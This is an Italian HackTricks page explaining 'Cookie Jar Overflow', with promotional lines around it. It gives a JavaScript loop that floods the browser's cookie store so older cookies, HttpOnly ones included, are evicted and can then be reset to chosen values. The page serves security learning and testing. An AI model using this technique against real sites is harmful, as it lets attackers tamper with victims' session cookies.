Cookie Jar Overflow

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

I browser hanno un limite sul numero di cookie che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di far scomparire un cookie, puoi saturare il contenitore dei cookie poiché quelli più vecchi verranno eliminati per primi:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Nota, che i cookie di terze parti che puntano a un dominio diverso non verranno sovrascritti.

Questo attacco può essere utilizzato anche per sovrascrivere i cookie HttpOnly in quanto è possibile eliminarli e quindi reimpostarli con il valore desiderato.

Verifica questo in questo post con un laboratorio.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated